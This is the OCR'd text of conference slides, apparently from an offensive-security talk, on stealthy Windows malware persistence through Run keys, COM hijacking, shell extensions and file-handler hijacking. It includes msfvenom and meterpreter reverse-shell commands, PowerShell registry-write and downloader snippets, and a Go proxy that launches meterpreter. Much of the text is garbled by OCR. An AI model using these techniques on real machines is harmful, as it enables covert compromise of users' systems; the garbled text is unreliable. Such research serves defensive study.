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Sheila A. Berta - @UnaPibaGeek

Offensive Security Researcher

A little bit more:

Developer ASM (Microcontrollers & Microprocessors x86/x64), C/C++, Go & Python.
Speaker at Black Hat Briefings, DEFCON, Ekoparty, HITB, etc ..... and RootedCon! :D
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What meamns... ”Persisﬁence”?

Persistence mp
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“ruir k‘ejs” since Long time ago...

HKCU\Software \Microsoft \Windows\CurrentVersion \Run

* Poison lvy

Install [test]
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Profiles Start on S}'StElTI startup Criar servidor

a0 ,i._, ) Mensagemn

v HKLM/Run Mame: winupdate. exe
v . .
i Activer! Key Name:
Connection
v Copy File

Filename:; winupdate. exe

Install {* System Folder
" ‘Windows Folder

CAL_MACHRMESoftwarel...\Run

@UnaPibaGeek [V HKEY _CURRENT_USER'Software\.... \Run
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“ruir I-mjs” since Long time ago...

HKCU\Software \Microsoft \Windows\CurrentVersion \Run

meterpreter > run persistence -U -i 5 -p 443 -r 192.168.1.71

[*] Creating a persistent agent: LHOST=192.168.1.71 LPORT=443 (interval=5 onboot=true)
[*] Persistent agent script is 613976 bytes long

[*] Uploaded the persistent agent to C:\WINDOWS\TEMP\yyPSPPEn.vbs
[*] Agent executed with PID 492

[*] Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\YeYHd1EDygViABr
[*] Installed into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\YeYHd1lEDygViABr
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“rui R‘st" since Loing time ago...

LA\ CurrentVersion\ Policies \Exptarer\ﬁm«m

. .\Curreh&\!ersiov\\ExFLorer\‘SheLL Folders

Autorun Entry Description Publisher Image Path Timestamp
Ej” HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\AlternateShell /31/2018 11:04 PM
v B cmd.exe Windows Command Proc... Microsoft Corporation c\windows\system32\cmd exe /81971 5:44 AM
_,gjf HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
M = AdobeAAMUp... Adobe Updater Startup Util... Adobe Systems Incorpora... c:\program files (x8
B AdobeGClnvo... Adobe GC Invoker Utility Adobe Systems, Incorpor \program files (x

B |AStoricon Delayed launcher Intel Corporation rogram files\intel\intel(r) rapid storage technol... 3/24/2017 2:17 PM
-4 )) RtHDVBg_Pu... HD Audio Background Pr... Realtek Semiconductor \program files\realtek\audio\hda\ravbg64 exe 017 4:09 AM

g;\ RTHDVCPL Realtek HD Audio Manager Realtek Semiconductor c:\program files\realtek\audio\hda\rtkngui64 exe 3/28/2017 6:42 AM
U SecurityHealth Windows Defender notific... Microsoft Corporation c:\program files\windows defender\msascuil.exe  10/4/2015 12:14 AM
m WavesSvec Waves MaxxAudio Servic... Waves Audio Ltd \program files\waves\maxxaudio\wavessvct4 exe 3/ 017 6:48 AM
_gjf HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run 1 018 9:56 PM
[ E Adobe Creativ... Adobe Creative Cloud Adobe Inc \program files (x86)\adobe‘\adobe creative clou... 9/ 018 6:32 AM
gja HKCW\SOFTWAREWMicrosoft\Windows\CurrentVersion\Run 8/31/2018 11:13 PM
[] & OneDrive Microsoft OneDrive Microsoft Corporation > \users\shei\appdata\local\microsoft\onedrivelon... 9/12/2018 1:07 PM
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Is this the best way?
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Welcome to...

The Art of Persistence
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COM Objects...

- C++ class

- OQubk of Process / In-Process

m;t

File Object

> ¥
b

eUnaPibatrecic

nama
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In-Process

COM CLIENT PROCESS

COM OBIJECT
DLL
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Globally Universal Identifier (GUID)...

- CLSID 16bytes array (GUID)

- 117FE9752-0B5A-4665-84CD-569794602F5C} <no name>
ble [17FE9752-0B5A-4665-84CD-569794602F5C)

Registry |mplementation Activation Launch Permissions

CLSID =

Create GUID
Access Per
Ch

se the desired format below. then select"Copy" to
co

Copy
e results to the clipboard (the lts can then be

pasted into your source code). Choose "Exit" when done New GUID

Exit
GUID Format

{17FE9752-0B5A-4665-84CD-569794602F5C}

InProcServer32 [<no name>] = C:\Windows\System32\ieproxy.dll
InProcServer32 [ThreadingModel] = Apartment

(O 1. IMPLEMENT_OLECREATE(..)
DEFINE_GUID(...)

_) 3. static conststruct GUID ={ ... }

@4 Registry Format (ie. {x000000¢-3000¢ .. 3000 })
() 5. [Guid("x000000x-3000X ... XxxX")]

) 6. <Guid("000000¢-3000¢ ... 00")>

Result

eUnaPibaGeelk
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wWindows Regis&rv. ..

\Software\Classes\CLSID\<GUID>
\Software\Classes\CLSID\<GUID>

[ Registry Editor

File Edit View Favorites Hel

Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{036A9790-C153-11D2-9EF7-006008039E37}

> (0363215C-3887-4C3D-8300-FF3FD3E02BOT]  ~ || Name Data
{0369B4E5-45B6-11D3-B650-00C04F79498E} abj(Default) | 1 Audio Mixer
{

0369B4E6-45B6-11D3-B650-00C04F79498E}
[ossAsro0-cr5- 1102 9err 00600839631
InprocServer32
{037BB880-2613-4F6E-9F84-9574CCASDEAC}
{037¢3380-0855-4e8a-8c80-0aa3f697cd27)
{03837511-098B-11D8-9414-505054503030}
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Windows Regis&rv. ..

¥ Registry Editor

File Edit View Favorites Help

Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{036A9790-C153-11D2-9EF7-006008039E37\InprocServer32
0363215C-3B87-4C3D-8300-FF3FD3E02B91} A ‘Name Type
0369B4E5-45B6-11D3-B650-00C04F79498E} ab| (Default) REG_SZ

{03
{03
{0369B4E6-45B6-11D3-B650-00C04F79498E} ab|ThreadingModel ~ REG_SZ
{036A9790-C153-11D2-9EF7-006008039E37}

InprocServer32

3380-0855-4e8a-8c80-0aa3f697cd27}

= [ e
37511-098B-11D8-9414-505054503030}

IhprocServersz / ImFrocServar / IhpracHahdﬂ.ersz / IhprocHahdLer

CUnaPibatreelk



Persistence
VLA
Shell Extensions
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Shell Extension Handlers...

Handler

tcut menu

dler

Handler Interface Handler Subkey Name

Shortcut menu handler IContextMenu ContextMenuHandlers

Data handler

Handler
Column hz Open
Print

Edit

Drop handler

lcon handler

Open with Code

" Edit with Notepad++ B8 Anadir al archivo...
Scan with Windows Defender... u ARadir a "data.rar”
Sire u Anadir y enviar por email...

Open with o . .
Thumbnail Image B3 Anadir a "data.rar" y enviar por email

handler

Restore previous versions

Infotip handler

Send to

ch handler

Metadata handler

CUnaPibatreel
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Shell Extension Handlers... (registry)

- System-wide (HKLM\Software\Classes\*\shellex\)

Registry Editor
File Edit View Favorites
ContextMenuHandlers\WinRAR

~ || Name Data
-="-;.'DE_‘fz_3 It) {B41DB860-64E4-11D2-9906-E49FADC173CA}

OpenWithList

shell

shellex

ContextMenuHandlers ¢u—

{90AA3A4E-1CBA-4233-B8BB-535773D48449}
{a2a9545d-a0c2-42b4-9708-a0b2badd77c8}
AccExt
ANotepad++64
EPP
ModernSharing
Open With
Open With EncryptionMenu
Sharing
WinRAR
WinRAR32

@UnaPibaGeelk
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Shell Extension Handlers... (regis&rj)

- Current User (HKCU\Software\Classes\*\shellex\)

[ Registry Editor

File Edit View Favorites Help
Computer\HKEY_CURRENT_USER\Software\Classes\*\shellex§ContextMenuHandlers\ FileSyncEx

Chromium A || Name Type Data
o Classes ab|(Default) REG_SZ {CB3DOF55-BC2C-4C1A-85ED-23ED75B5106B}

v *

shell
v shellex
v ContextMenuHandlers <¢e——
FileSyncEx

[NO ADMIN PRIVILEGES REQUIQEB]

@UnaPibaGeel
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Registering our owi Shell Extension

B Registry Editor
File Edit View Favorites Help
Computer\HKEY_CURRENT_USER\Software\Classes\*\shellex\ContextMenuHandlers\MyExtension
T T Chromium . Data
Classes abi(Default) {5A8C927F—C467—437D—9AC3—C874A100404E}]

*

shell
shellex
ContextMenuHandlers
FileSyncEx
MyExtension ¢e—

B Registry Editor

File Edit View Favorites Help

Computer’\HKEY?CURRENT?USER\Software\C!asses\CLSIDi5A8C927F-C46?-4 D-9AC3-C874A100404E\InprocServer32
{e8c77137-e224-5791-b6e9-ff0305797a13} Type Data

{F241C880-6982-4CES-8CF7-7085BA96DA5A) o (Default)| REG.SZ [ causersisheivhwixsa.dil |
v [ {5A8C927F-C467-437D-9AC3-C874A100404E}

InprocServer32 ¢o——

CUnaPibaGeel
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Malicious Shell Extension ko Persis&

:~# msfvenom -p windows/x64/meterpreter/reverse tcp LHOST=192.168.43.128 LPORT=4444 -f dll > met.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload

Payload size: 510 bytes
Final size of dll file: 5120 bytes

$§Path -Force RQSLS&rj Kaj 1
ty -Path §Path -Name $Name -Value $Value

r«’.e.gi,.s&rj Kej 2

Path $Pathl -Force
erty -Path §Pathl -Name $Namel -Value $Valuel

Surl -
- - — Malware downloader

$out

Invoke-WebRequest -Uri §Url -OutFile §Out

CUnaPibaGeel



D

Firefox .‘a
IDA Pro
(32-bit)
Google -
Chrome a
710
IDA Pro
. (64-bit)
Protected
Protected_
debug

badshellext... '

Recycle Bin

12:31 PM
A 47 ENG 5
e 6 JUARENG 11/6/2018 !
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To sum up-..

- Shell Extensions can be used to malware Fersis&ence.
- Abtbacker does need admin Frivileges.
- SEeaLEhj mebhod!

Recommendalion...

- Use PowerShell. Because it’s a trust binary for Windows. So, it Let
you write the registry without restrictions,

CUnaPibaGeel



Persistence
VLA

COM hg}acw
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COM Hijack fundamentals...

Right COM Path:

\Software\Classes\CLSID
<&UID>
IhprocServersz

(Defaull) = C:\Path\To\DLL

~irst search:

\Software\Classes\CLSID\
<&UID>
IuprocServersz y
(Defaull) = C:\Path\To\DLL ' \

[NO ADMIN PRIVILEGES REQUIRET)]
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Hunting vulnerable Apps-..

Display entries matching these conditions:

Architecture v s then |Include

Relation Value Action
is NAME NOT FOLIND Include
- - V C
3P =F Process Monitor Sysinternals: www.sysinternals.com

jJP‘ File Edit Event Filter Tools Options Help
jul’

PID P: Result

chrome.exe ﬂ OpenKey 9232 / sses\CLSID\{BCDED395-E52F- 3D- 1692E\Inproc rer3z NAME NOT FOUND
chrome.exe legOpenKey 9232 \ \ 3( 2F-467 ( 291692E\Inpro 1KY NAME NOT FOUND
= j 0 9232 03 -467 169 *‘Inp oc rer3 NAME NOT FOUND

#% RegOpenkey 9232 \Software\C , "E52F-467C-8E3D- 3; NAME NOT FOUND

&% RegOpenk ; \Software 5-E52F- 6 NAME NOT FOUND

#% RegOpenkey 232 \Softw: \ 209 4 3 ‘ 2 NAME NOT FOUND

chrome. ﬁ RegOpenKey : /i ol ) 209 *, ocServer3: NAME NOT FOUND
chrome.ex &% RegOpenKey \ sses| \{591209 ocSe NAME NOT FOUND
chrome.exe ﬂ RegO )p»-‘nK-. 2 ¥ 91209 -42b2-9fba- 2 Se 32 NAME NOT FOUND
chrom egOpe : i 9 -42b2- R 5 ] 0 NAME NOT FOUND
chrome.exe % RegOpenK \So 209 b-42b2-9fba- 615f2c7\InPro NAME NOT FOUND
chrome exe ﬂ RegOpenKey 232 C : 2 -42b2-9fba- ocHandler32 NAME NOT FOUND
chrome.exe ﬂ RegOpenKey 232 2U\Softw 3912 -767b-4: ocH: - NAME NOT FOUND

999999999949

eUnaPibaGeelk
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Chrome COM hijacking...

S$Path =
SName =
S$Value =

j-Item -Path §Path -Force
i-ItemProperty -Path $Path -Name $Name -Value $Value

$uUrl =
s$out =

Invoke-WebRequest -Uri $Url -OutFile $out

@UnaPibaGeelk



Firefox /

IDA Pro
(32-bit)
Google
Chrome a
710
IDA Pro
. (64-bit)
Protected
Protected_
debug

com_hijack...

Recycle Bin

-Qsﬁlﬁ'lfﬂ gq,\.__‘,qumGu:asm!

11/7/2018 )
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“Native” COM objects...

B Registry Editor

File Edit View Favorites Help

Computer\HKEY_CLASSES_ROOT\CLSID\J063B79F6-7539-11D2-9773-00A0C9B4D50C}
{06290BDB-48AA-11D2-8432-006008C3FBFC} ~ || Name
{06334b1f-d73e-42f5-a448-5bd2df3c5ec7) b| (Default) Microsoft COM+ Services Meta Data
{063B79F5-7539-11D2-9773-00A0C9B4D50C}
{063B79F6-7539-11D2-9773-00A0C9B4D50C}
{06405088-BC01-4E08-B392-5303E75090C8}
{065377f7-9876-4d5a-9f2a-1b4721255a67}
{0655E396-25D0-11D3-9C26-00C04F8EF87C}
{06587E71-F043-403A-BF49-CB591BAGE103}
{06622D85-6856-4460-8DE1-A81921B41C4B}
{066D2323-D35A-4C15-AE22-F88F136C1613}
{067B4B81-B1EC-489f-B111-940EBDCA44EBE}
{068a8476-9229-4cc0-9d49-2fc699dcd30a}
{06946266-393A-456E-92BC-91DDDBF6893C}
{06993B16-A5C7-47EB-B61C-B1CB7EEG00AC

@UnaPibaGreelk
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HKCR Potsoning...

HKEY _CLASSES_KROOT

\Soware\CLasses \SofEare\CLasses

[NO ADMIN PRIVILEGES REQUIRED ]

CUnaPibatreel
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“Native” COM hijack...

S$Path
$Name
$Value = '

New-Item -Path §Path -Force
New-ItemProperty -Path §$Path -Name $Name -Value §Value
$url
$out

Invoke-WebRequest -Uri $Url -OutFile §out

(Windows 10)

@UnaPibaGreelk



MSEdge - Win10 - VMware \ ation 15 Player (Non-commercial use only)

o
a u Thu 22:23

tomatic suspend
nputer will suspend very soon because of inactivity.

Player + |l ~ S [j )

-bit)

Q Recycle Bin
ci

eula

:d, but no session was created?
) > sessions

Pl

‘ !L
VMware

) = run
Share...

TCP handler on 192.168.43.129:4444
206403 bytes) to 192.168.43.132
;ion 4 opened (192.168.43.129:4444 -> 192.168.43.132:49680) a

19 -08500
‘ -
| o
>EDGEWIN1O
\ndows 1@ (Build 17134).
34
1_USs
JRKGROUP
Windows 10 Enterprise Evaluation 34 /windows U
Windows License valid for 90 days =
Build 17134154 release.180410-1804 u :
£ S 719 PM — a
O Type here to search [~ B A Dde % :

11/8/2018

Recycle Bin

= 12:19 AM
OT‘;'pch»:'retosea!cl'h g ™m 5 -. “'g E £ A~ D 7 d< NG 11/9/2018

"
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To sum wp-.

- Apps and native COM objects vulnerable ko COM hijack
can be used ko malware Fersis&ehce.

- Attacker does heed admin privileges.

- Su,Par SEeaLEhj mebthod!!

Remember...

- Use PowerShell to bjpass restrictions :-)

CUnaPibatreelk



Persistence
VLA
Exkension Handler
Hi jack
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Exkension Handlers...

Registry Editor

File Edit View Favorites Help
Computer\HKEY_CLASSES_ROOT\.mp4

.mp2v ~ || Name

.mp3 b (Default)
-mp4 'bContent Type
.mp4v

=
°
o

=
m
(2]
N

)
m
(A

nideo
WMP11.AssocFile.MP4

ib| PerceivedType

)

m
[2 BN
v v wn
N NN

.mpa

=)
m

b VLC.backup

.mpc
.mpe
.mpeg
.mpeg1

[ Registry Editor
File Edit View Favorites
Computer\HKEY_CLASSES/ROOT\VLC. mp4\shel\Open\command
; VLC.mp3 A Namei
v ab|(Default) i 2 -started-from-file
Defaulticon
shell
AddToPlaylistvLC

Open
command

PlayWithVLC
VLC.mpdv

@UnaPibatreek
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Extension Handler Hijack...

[ Registry Editor

File Edit View Favorites Help

Computer\HKEY_CLASSES_ROOT\VLC.mp4\shel\Open\command

~ || Name Type Data
bl (Default) REG_SZ "C:\Program Files (x86)\VideoLAN\VLC\vic.exe" --started-from-file

AddToPlaylistVLC
Open

command
PlayWithVLC

447-2287871762-24

VirtualStore
VLC.mp4
shell
Open
command
VSCO!

VSCodeSourceFile

@UnaPibatreek
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Extension Handler Hijack...

-PSProvider Registry -Name HKU - t HKEY USERS

-Path $Path -Force

7 -Path $Path -Name $Name -Value $Value

New-PSDrive -PSProvider Registry -Name HKU -Root HKEY USERS

$Path =
$Name =
$vValue =

-Path $Path -Force
perty -Path $§Path -Name $Name -Value $Value

@UnaPibatreek
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Firefox .‘3
IDA Pro
(32-bit)
Google "
Chrome

Protected m

music.mp4
W ,t

Protected_

debug

Recycle Bin

1:25 AM
11/8/2018
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Extension Handler Hijack... with proxy

Name Type
ab|(Default) REG_SZ

¥ proxygo X
import (
a "os"
5 "os/exec"

)

8 func main(){

C\\random\\proxy.ex¢

"C:\Program Files (x86)\VideoLAN\VLC\vic.exe" --started-from-file "%1"

10 malware := "C:/random/meterpreter.exe”
11 cmd := exec.Command(malware)

12 cmd.Start()

14 real_app := os.
15 real_app_argl :
16 real_app_arg2 :

Args[1]

os.Args[2]
os.Args[3]

17 cmdl := exec.Command(real_app,real_app_argl,real_app_arg2)

18 cmdl.Start()
}

@UnaPibatreek
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P

Firefox .‘3
IDA Pro
(32-bit)
Google "
Chrome a
710
IDA Pro
. (64-bit)
Protected
Protected_ L3
debug

Recycle Bin

; 330 AM
A dx  ENG 5
e 6 JESENG 11/8/2018 E
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To sum up-..

- Exkension Handlers can be hijagcleed ko wmalware Persis&euce.
- Akbaclker does need admin Pri,vi,i.eges.
- ‘Super SEeaL&hj mebhod!!

- Powershell is necessary, HKU registry can be edited
without restrictions :=)

CUnaPibaGreek
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Cownclusions...

Fealures of Windows can be
abused ko male malware
Fersts&emc:e stealbhier

eUnaPibatreeic
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